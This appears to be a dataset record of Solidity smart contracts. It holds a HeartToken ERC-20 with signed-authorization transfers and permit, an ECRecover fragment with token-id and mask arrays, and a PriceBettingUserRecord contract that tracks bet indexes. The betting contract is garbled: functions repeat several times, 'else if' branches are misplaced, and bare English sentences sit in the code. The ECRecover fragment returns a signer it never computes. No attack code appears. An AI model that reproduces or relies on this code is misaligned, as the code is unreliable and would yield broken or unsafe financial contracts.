* @param authorizer Authorizer's address
* @param nonce Nonce of the authorization
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
*/
function _requireValidAuthorization(
address authorizer,
bytes32 nonce,
uint256 validAfter,
uint256 validBefore
) private view {
require(block.timestamp > validAfter, "GasAbstraction: authorization is not yet valid");
require(block.timestamp < validBefore, "GasAbstraction: authorization is expired");
_requireUnusedAuthorization(authorizer, nonce);
}
/**
* @notice Mark an authorization as used
* @param authorizer Authorizer's address
* @param nonce Nonce of the authorization
*/
function _markAuthorizationAsUsed(address authorizer, bytes32 nonce) private {
LibAppStorage.diamondStorage().authorizationStates[authorizer][nonce] = AuthorizationState
.Used;
emit AuthorizationUsed(authorizer, nonce);
}
/**
* @notice Verify a signed approval permit and execute if valid
* @param owner Token owner's address (Authorizer)
* @param spender Spender's address
* @param value Amount of allowance
* @param deadline The time at which this expires (unix time)
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function _permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) internal {
require(deadline >= block.timestamp, "Permit: permit is expired");
AppStorage storage appStorage = LibAppStorage.diamondStorage();
bytes memory data = abi.encode(
_PERMIT_TYPEHASH,
owner,
spender,
value,
appStorage.nonces[owner]++,
deadline
);
require(
LibEIP712.recover(appStorage.domainSeparator, v, r, s, data) == owner,
"Permit: invalid signature"
);
LibERC20._approve(owner, spender, value);
}
}
// File contracts/common/EIP712Domain.sol
/**
*
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title EIP712 Domain
*/
contract EIP712Domain {
/**
* @dev EIP712 Domain Separator
*/
// solhint-disable-next-line
function DOMAIN_SEPARATOR() external view returns (bytes32) {
return LibAppStorage.diamondStorage().domainSeparator;
}
}
// File contracts/common/GasAbstraction.sol
/**
*
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title Gas Abstraction
* @notice Provide internal implementation for gas-abstracted transfers and
* approvals
* @dev Contracts that inherit from this must wrap these with publicly
* accessible functions, optionally adding modifiers where necessary
*/
abstract contract GasAbstraction is EIP712Domain {
bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH =
_TRANSFER_WITH_AUTHORIZATION_TYPEHASH;
bytes32 public constant APPROVE_WITH_AUTHORIZATION_TYPEHASH =
_APPROVE_WITH_AUTHORIZATION_TYPEHASH;
bytes32 public constant INCREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH =
_INCREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH;
bytes32 public constant DECREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH =
_DECREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH;
bytes32 public constant CANCEL_AUTHORIZATION_TYPEHASH = _CANCEL_AUTHORIZATION_TYPEHASH;
event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
event AuthorizationCanceled(address indexed authorizer, bytes32 indexed nonce);
/**
* @notice Returns the state of an authorization
* @param authorizer Authorizer's address
* @param nonce Nonce of the authorization
* @return Authorization state
*/
function authorizationState(address authorizer, bytes32 nonce)
external
view
returns (AuthorizationState)
{
return LibAppStorage.diamondStorage().authorizationStates[authorizer][nonce];
}
/**
* @notice Increase the allowance by a given increment
* @param spender Spender's address
* @param increment Amount of increase in allowance
* @return True if successful
*/
function increaseAllowance(address spender, uint256 increment) external returns (bool) {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(msg.sender);
LibBlacklistable._requireNotBlacklisted(spender);
LibERC20._increaseAllowance(msg.sender, spender, increment);
return true;
}
/**
* @notice Decrease the allowance by a given decrement
* @param spender Spender's address
* @param decrement Amount of decrease in allowance
* @return True if successful
*/
function decreaseAllowance(address spender, uint256 decrement) external returns (bool) {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(msg.sender);
LibBlacklistable._requireNotBlacklisted(spender);
LibERC20._decreaseAllowance(msg.sender, spender, decrement);
return true;
}
/**
* @notice Execute a transfer with a signed authorization
* @param from Payer's address (Authorizer)
* @param to Payee's address
* @param value Amount to be transferred
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function transferWithAuthorization(
address from,
address to,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(from);
LibBlacklistable._requireNotBlacklisted(to);
LibGasAbstraction._transferWithAuthorization(
from,
to,
value,
validAfter,
validBefore,
nonce,
v,
r,
s
);
}
/**
* @notice Update allowance with a signed authorization
* @param tokenOwner Token owner's address (Authorizer)
* @param spender Spender's address
* @param value Amount of allowance
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function approveWithAuthorization(
address tokenOwner,
address spender,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(tokenOwner);
LibBlacklistable._requireNotBlacklisted(spender);
LibGasAbstraction._approveWithAuthorization(
tokenOwner,
spender,
value,
validAfter,
validBefore,
nonce,
v,
r,
s
);
}
/**
* @notice Increase allowance with a signed authorization
* @param tokenOwner Token owner's address (Authorizer)
* @param spender Spender's address
* @param increment Amount of increase in allowance
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function increaseAllowanceWithAuthorization(
address tokenOwner,
address spender,
uint256 increment,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(tokenOwner);
LibBlacklistable._requireNotBlacklisted(spender);
LibGasAbstraction._increaseAllowanceWithAuthorization(
tokenOwner,
spender,
increment,
validAfter,
validBefore,
nonce,
v,
r,
s
);
}
/**
* @notice Decrease allowance with a signed authorization
* @param tokenOwner Token owner's address (Authorizer)
* @param spender Spender's address
* @param decrement Amount of decrease in allowance
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function decreaseAllowanceWithAuthorization(
address tokenOwner,
address spender,
uint256 decrement,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(tokenOwner);
LibBlacklistable._requireNotBlacklisted(spender);
LibGasAbstraction._decreaseAllowanceWithAuthorization(
tokenOwner,
spender,
decrement,
validAfter,
validBefore,
nonce,
v,
r,
s
);
}
/**
* @notice Attempt to cancel an authorization
* @dev Works only if the authorization is not yet used.
* @param authorizer Authorizer's address
* @param nonce Nonce of the authorization
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function cancelAuthorization(
address authorizer,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external {
LibPausable._requireNotPaused();
LibGasAbstraction._cancelAuthorization(authorizer, nonce, v, r, s);
}
}
// File contracts/common/Permit.sol
/**
*
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title Permit
* @notice An alternative to approveWithAuthorization, provided for
* compatibility with the draft EIP2612 proposed by Uniswap.
* @dev Differences:
* - Uses sequential nonce, which restricts transaction submission to one at a
* time, or else it will revert
* - Has deadline (= validBefore - 1) but does not have validAfter
* - Doesn't have a way to change allowance atomically to prevent ERC20 multiple
* withdrawal attacks
*/
abstract contract Permit is EIP712Domain {
bytes32 public constant PERMIT_TYPEHASH = _PERMIT_TYPEHASH;
/**
* @notice Nonces for permit (shared with meta transaction)
* @dev Nonces is shared for permits and meta transaction nonces. The nonces and getNonce
* methods both return the same nonce sequence, but are both kept for compatability
* @param owner Token owner's address (Authorizer)
* @return Next nonce
*/
function nonces(address owner) external view returns (uint256) {
return LibAppStorage.diamondStorage().nonces[owner];
}
/**
* @notice Update allowance with a signed permit
* @param tokenOwner Token owner's address (Authorizer)
* @param spender Spender's address
* @param value Amount of allowance
* @param deadline Expiration time, seconds since the epoch
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function permit(
address tokenOwner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(tokenOwner);
LibBlacklistable._requireNotBlacklisted(spender);
LibGasAbstraction._permit(tokenOwner, spender, value, deadline, v, r, s);
}
}
// File contracts/tokens/HeartToken.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
contract HeartToken is BaseToken, GasAbstraction, Permit, ERC1363 {
using SafeMath for uint256;
uint256 public constant MAX_SUPPLY = 692000000 * 1e18;
function initialize(
string memory tokenName,
string memory tokenSymbol,
address newPauser,
address newBlacklister,
address newOwner,
address tokenReceiver
) external {
require(!appStorage.initialized, "HeartToken: contract is already initialized");
require(newPauser != address(0), "HeartToken: new pauser is the zero address");
require(newBlacklister != address(0), "HeartToken: new blacklister is the zero address");
require(newOwner != address(0), "HeartToken: new owner is the zero address");
require(tokenReceiver != address(0), "HeartToken: token receiver is the zero address");
appStorage.name = tokenName;
appStorage.symbol = tokenSymbol;
appStorage.decimals = 18;
// appStorage.masterMinter = newMasterMinter;
appStorage.pauser = newPauser;
appStorage.blacklister = newBlacklister;
setOwner(newOwner);
appStorage.domainSeparator = LibEIP712.makeDomainSeparator(tokenName, "1");
_mint(tokenReceiver, MAX_SUPPLY);
require(
appStorage.totalSupply == MAX_SUPPLY,
"HeartToken: totalSupply is not expected value"
);
require(
appStorage.balances[tokenReceiver] == MAX_SUPPLY,
"HeartToken: tokenReceiver balance is not expected value"
);
appStorage.initialized = true;
}
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(BaseToken, ERC1363)
returns (bool)
{
return ERC1363.supportsInterface(interfaceId) || BaseToken.supportsInterface(interfaceId);
}
} | * @notice Recover signer's address from a signed message Modifications: Accept v, r, and s as separate arguments @param digest Keccak-256 hash digest of the signed message @param v v of the signature @param r r of the signature @param s s of the signature @return Signer address/ EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature unique. Appendix F in the Ethereum Yellow paper (https:ethereum.github.io/yellowpaper/paper.pdf), defines the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most signatures from current libraries generate a unique signature with an s-value in the lower half order. If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept these malleable signatures as well. | ) internal pure returns (address) {
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECRecover: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECRecover: invalid signature 'v' value");
}
require(signer != address(0), "ECRecover: invalid signature");
return signer;
}
| 6,926,053 | [
1,
27622,
10363,
1807,
1758,
628,
279,
6726,
883,
3431,
6640,
30,
8662,
331,
16,
436,
16,
471,
272,
487,
9004,
1775,
225,
5403,
565,
1475,
24410,
581,
17,
5034,
1651,
5403,
434,
326,
6726,
883,
225,
331,
540,
331,
434,
326,
3372,
225,
436,
540,
436,
434,
326,
3372,
225,
272,
540,
272,
434,
326,
3372,
327,
16763,
1758,
19,
512,
2579,
17,
22,
4859,
5360,
3372,
312,
22534,
2967,
364,
425,
1793,
3165,
7675,
3581,
333,
25547,
471,
1221,
326,
3372,
3089,
18,
6181,
697,
478,
316,
326,
512,
18664,
379,
1624,
11394,
15181,
261,
4528,
30,
546,
822,
379,
18,
6662,
18,
1594,
19,
19227,
27400,
19,
27400,
18,
7699,
3631,
11164,
326,
923,
1048,
364,
272,
316,
261,
6030,
21,
4672,
374,
411,
272,
411,
1428,
84,
5034,
79,
21,
82,
225,
132,
120,
576,
397,
404,
16,
471,
364,
331,
316,
261,
6030,
22,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
262,
2713,
16618,
1135,
261,
2867,
13,
288,
203,
3639,
309,
261,
11890,
5034,
12,
87,
13,
405,
374,
92,
27,
8998,
8998,
8998,
8998,
8998,
8998,
18343,
42,
25,
40,
25,
6669,
41,
27,
4763,
27,
37,
7950,
1611,
40,
4577,
41,
9975,
42,
24,
6028,
11861,
38,
3462,
37,
20,
13,
288,
203,
5411,
15226,
2932,
7228,
27622,
30,
2057,
3372,
296,
87,
11,
460,
8863,
203,
3639,
289,
203,
203,
3639,
309,
261,
90,
480,
12732,
597,
331,
480,
9131,
13,
288,
203,
5411,
15226,
2932,
7228,
27622,
30,
2057,
3372,
296,
90,
11,
460,
8863,
203,
3639,
289,
203,
203,
3639,
2583,
12,
2977,
264,
480,
1758,
12,
20,
3631,
315,
7228,
27622,
30,
2057,
3372,
8863,
203,
203,
3639,
327,
10363,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/100/0x5862E92f474bAC1c7D55C168C0134e3C13c74CAB/sources/PriceBettingUserRecord.sol | mapping(uint256 => Bet) public bets900; mapping(uint256 => Bet) public bets300;accounts[user] | contract PriceBettingUserRecord is Administration {
using SafeMath for uint256;
using Math for uint256;
using Address for address;
mapping(address => Account) public accounts;
struct Account {
uint256 cidx900;
uint256 cidx300;
uint256 uidx900;
uint256 uidx300;
mapping (uint256 => uint256) idxesA900;
mapping (uint256 => uint256) idxesA300;
mapping (uint256 => uint256) idxesB900;
mapping (uint256 => uint256) idxesB300;
}
address public addrPriceBetting;
uint256 public maxOutLen = 50;
constructor() {
addrPriceBetting = address(0x81A194828e3c8e3ac91668E93A8A202dF505ACBa);
}
modifier onlyContract() {
require(msg.sender == addrPriceBetting, "not authorized contract");
_;
}
function getAccountCCUU(address user) external view returns (uint256, uint256, uint256, uint256) {
Account storage account = accounts[user];
return (account.cidx900, account.cidx300, account.uidx900, account.uidx300);
}
function getAccountCU(address user, uint256 period) public view returns (uint256 cidx, uint256 uidx) {
Account storage account = accounts[user];
if (period == 900) {
cidx = account.cidx900;
uidx = account.uidx900;
cidx = account.cidx300;
uidx = account.uidx300;
}
}
function getAccountCU(address user, uint256 period) public view returns (uint256 cidx, uint256 uidx) {
Account storage account = accounts[user];
if (period == 900) {
cidx = account.cidx900;
uidx = account.uidx900;
cidx = account.cidx300;
uidx = account.uidx300;
}
}
} else if (period == 300) {
function setMaxOutLen(uint256 len) external onlyAdmin {
require(len > 0, "cannot be zero length");
maxOutLen = len;
}
when someone enters a new bet, PriceBetting contract will tell BetRecord contract to save this user's new bet index, put those indexes into a mapping (1 -> index1, 2 -> index2, etc... )
function addBet(address user, uint256 period, uint256 idx) external onlyContract {
Account storage account = accounts[user];
uint256 cidxNew;
if (period == 900) {
cidxNew = account.cidx900 + 1;
accounts[user].cidx900 = cidxNew;
accounts[user].idxesA900[cidxNew] = idx;
accounts[user].idxesB900[idx] = cidxNew;
cidxNew = account.cidx300 + 1;
accounts[user].cidx300 = cidxNew;
accounts[user].idxesA300[cidxNew] = idx;
accounts[user].idxesB300[idx] = cidxNew;
}
function addBet(address user, uint256 period, uint256 idx) external onlyContract {
Account storage account = accounts[user];
uint256 cidxNew;
if (period == 900) {
cidxNew = account.cidx900 + 1;
accounts[user].cidx900 = cidxNew;
accounts[user].idxesA900[cidxNew] = idx;
accounts[user].idxesB900[idx] = cidxNew;
cidxNew = account.cidx300 + 1;
accounts[user].cidx300 = cidxNew;
accounts[user].idxesA300[cidxNew] = idx;
accounts[user].idxesB300[idx] = cidxNew;
}
} else if (period == 300) {
}
struct Account {
uint256 cidx900;
uint256 cidx300;
uint256 uidx900;
uint256 uidx300;
mapping (uint256 => uint256) idxesA900;
mapping (uint256 => uint256) idxesA300;
mapping (uint256 => uint256) idxesB900;
mapping (uint256 => uint256) idxesB300;
}
when a bet is cleared, then the same thing will happen, but just to update this bet
function updateBet(address user, uint256 period, uint256 idx) external onlyContract {
Account storage account = accounts[user];
uint256 idxB;
if (period == 900) {
idxB = account.idxesB900[idx];
accounts[user].uidx900 = idxB;
idxB = account.idxesB300[idx];
accounts[user].uidx300 = idxB;
}
function updateBet(address user, uint256 period, uint256 idx) external onlyContract {
Account storage account = accounts[user];
uint256 idxB;
if (period == 900) {
idxB = account.idxesB900[idx];
accounts[user].uidx900 = idxB;
idxB = account.idxesB300[idx];
accounts[user].uidx300 = idxB;
}
} else if (period == 300) {
}
function getBetsCheck(address user, uint256 period, uint256 idxStart, uint256 outLength, uint256 option) public view returns (
address userOut,
bool[] memory bools,
uint256[] memory uintsInputs,
uint256[] memory cusl, bool boolOut
)
userOut = user;
uintsInputs = new uint256[](4);
uintsInputs[0] = period;
uintsInputs[1] = idxStart;
uintsInputs[2] = outLength;
uintsInputs[3] = option;
bools = new bool[](5);
bools[0] = user != address(0);
bools[1] = period == 900 || period == 300;
cusl = new uint256[](4);
(uint256 cidx, uint256 uidx) = getAccountCU(user, period);
cusl[0] = cidx;
cusl[1] = uidx;
cusl[2] = idxStart;
bools[2] = option < 2;
bools[3] = outLength > 0;
if(idxStart > cidx) {
cusl[2] = 0;
}
if(option == 0 && cusl[2] == 0){
if(cidx < 21) {
cusl[2] = 1;
cusl[2] = cidx - 20;
}
cusl[2] = uidx + 1;
if(cusl[3] > maxOutLen) cusl[3] = maxOutLen;
boolOut = bools[0] && bools[1] && bools[2] && bools[3] && bools[4];
}
if(option == 0 && cusl[2] == 0){
if(cidx < 21) {
cusl[2] = 1;
cusl[2] = cidx - 20;
}
cusl[2] = uidx + 1;
if(cusl[3] > maxOutLen) cusl[3] = maxOutLen;
boolOut = bools[0] && bools[1] && bools[2] && bools[3] && bools[4];
}
} else {
} else if(option == 1 && cusl[2] <= uidx) {
} else {}
cusl[3] = outLength.min(cidx - cusl[2] + 1);
function getBetIndexes(address user, uint256 period, uint256 idxStart, uint256 outLength, uint256 option) public view
returns (uint256[] memory idxesOut, uint256 cidx2, uint256 uidx2, uint256 idxStart2, uint256 idxLast2)
{
(, , , uint256[] memory cusl, bool boolOut) = getBetsCheck(user, period, idxStart, outLength, option);
require(boolOut, "invalid input detected");
cidx2 = cusl[0];
uidx2 = cusl[1];
idxStart2 = cusl[2];
uint256 idx;
idxesOut = new uint256[](cusl[3]);
idxLast2 = idxStart2 + cusl[3] - 1;
if (period == 900) {
for (uint i = 0; i < cusl[3]; i++) {
idx = idxStart2 + i;
idxesOut[i] = accounts[user].idxesA900[idx];
}
for (uint i = 0; i < cusl[3]; i++) {
idx = idxStart2 + i;
idxesOut[i] = accounts[user].idxesA300[idx];
}
}
}
function getBetIndexes(address user, uint256 period, uint256 idxStart, uint256 outLength, uint256 option) public view
returns (uint256[] memory idxesOut, uint256 cidx2, uint256 uidx2, uint256 idxStart2, uint256 idxLast2)
{
(, , , uint256[] memory cusl, bool boolOut) = getBetsCheck(user, period, idxStart, outLength, option);
require(boolOut, "invalid input detected");
cidx2 = cusl[0];
uidx2 = cusl[1];
idxStart2 = cusl[2];
uint256 idx;
idxesOut = new uint256[](cusl[3]);
idxLast2 = idxStart2 + cusl[3] - 1;
if (period == 900) {
for (uint i = 0; i < cusl[3]; i++) {
idx = idxStart2 + i;
idxesOut[i] = accounts[user].idxesA900[idx];
}
for (uint i = 0; i < cusl[3]; i++) {
idx = idxStart2 + i;
idxesOut[i] = accounts[user].idxesA300[idx];
}
}
}
function getBetIndexes(address user, uint256 period, uint256 idxStart, uint256 outLength, uint256 option) public view
returns (uint256[] memory idxesOut, uint256 cidx2, uint256 uidx2, uint256 idxStart2, uint256 idxLast2)
{
(, , , uint256[] memory cusl, bool boolOut) = getBetsCheck(user, period, idxStart, outLength, option);
require(boolOut, "invalid input detected");
cidx2 = cusl[0];
uidx2 = cusl[1];
idxStart2 = cusl[2];
uint256 idx;
idxesOut = new uint256[](cusl[3]);
idxLast2 = idxStart2 + cusl[3] - 1;
if (period == 900) {
for (uint i = 0; i < cusl[3]; i++) {
idx = idxStart2 + i;
idxesOut[i] = accounts[user].idxesA900[idx];
}
for (uint i = 0; i < cusl[3]; i++) {
idx = idxStart2 + i;
idxesOut[i] = accounts[user].idxesA300[idx];
}
}
}
} else if (period == 300) {
function getBetIndexes(address user, uint256 period, uint256 idxStart, uint256 outLength, uint256 option) public view
returns (uint256[] memory idxesOut, uint256 cidx2, uint256 uidx2, uint256 idxStart2, uint256 idxLast2)
{
(, , , uint256[] memory cusl, bool boolOut) = getBetsCheck(user, period, idxStart, outLength, option);
require(boolOut, "invalid input detected");
cidx2 = cusl[0];
uidx2 = cusl[1];
idxStart2 = cusl[2];
uint256 idx;
idxesOut = new uint256[](cusl[3]);
idxLast2 = idxStart2 + cusl[3] - 1;
if (period == 900) {
for (uint i = 0; i < cusl[3]; i++) {
idx = idxStart2 + i;
idxesOut[i] = accounts[user].idxesA900[idx];
}
for (uint i = 0; i < cusl[3]; i++) {
idx = idxStart2 + i;
idxesOut[i] = accounts[user].idxesA300[idx];
}
}
}
function getBetterBets(address user, uint256 period, uint256 idxStart, uint256 outLength, uint256 option) public view
returns (IPriceBetting.Bet[] memory betsOut, uint256 cidx3, uint256 uidx3, uint256 idxStart3, uint256 idxLast3)
{
(uint256[] memory indexes, uint256 cidx2, uint256 uidx2, uint256 idxStart2, uint256 idxLast2) = getBetIndexes(user, period, idxStart, outLength, option);
cidx3 = cidx2;
uidx3 = uidx2;
idxStart3 = idxStart2;
idxLast3 = idxLast2;
IPriceBetting PriceBetting = IPriceBetting(addrPriceBetting);
betsOut = new IPriceBetting.Bet[](indexes.length);
if (period == 900) {
for (uint i = 0; i < indexes.length; i++) {
betsOut[i] = PriceBetting.bets900(indexes[i]);
}
for (uint i = 0; i < indexes.length; i++) {
betsOut[i] = PriceBetting.bets300(indexes[i]);
}
}
}
function getBetterBets(address user, uint256 period, uint256 idxStart, uint256 outLength, uint256 option) public view
returns (IPriceBetting.Bet[] memory betsOut, uint256 cidx3, uint256 uidx3, uint256 idxStart3, uint256 idxLast3)
{
(uint256[] memory indexes, uint256 cidx2, uint256 uidx2, uint256 idxStart2, uint256 idxLast2) = getBetIndexes(user, period, idxStart, outLength, option);
cidx3 = cidx2;
uidx3 = uidx2;
idxStart3 = idxStart2;
idxLast3 = idxLast2;
IPriceBetting PriceBetting = IPriceBetting(addrPriceBetting);
betsOut = new IPriceBetting.Bet[](indexes.length);
if (period == 900) {
for (uint i = 0; i < indexes.length; i++) {
betsOut[i] = PriceBetting.bets900(indexes[i]);
}
for (uint i = 0; i < indexes.length; i++) {
betsOut[i] = PriceBetting.bets300(indexes[i]);
}
}
}
function getBetterBets(address user, uint256 period, uint256 idxStart, uint256 outLength, uint256 option) public view
returns (IPriceBetting.Bet[] memory betsOut, uint256 cidx3, uint256 uidx3, uint256 idxStart3, uint256 idxLast3)
{
(uint256[] memory indexes, uint256 cidx2, uint256 uidx2, uint256 idxStart2, uint256 idxLast2) = getBetIndexes(user, period, idxStart, outLength, option);
cidx3 = cidx2;
uidx3 = uidx2;
idxStart3 = idxStart2;
idxLast3 = idxLast2;
IPriceBetting PriceBetting = IPriceBetting(addrPriceBetting);
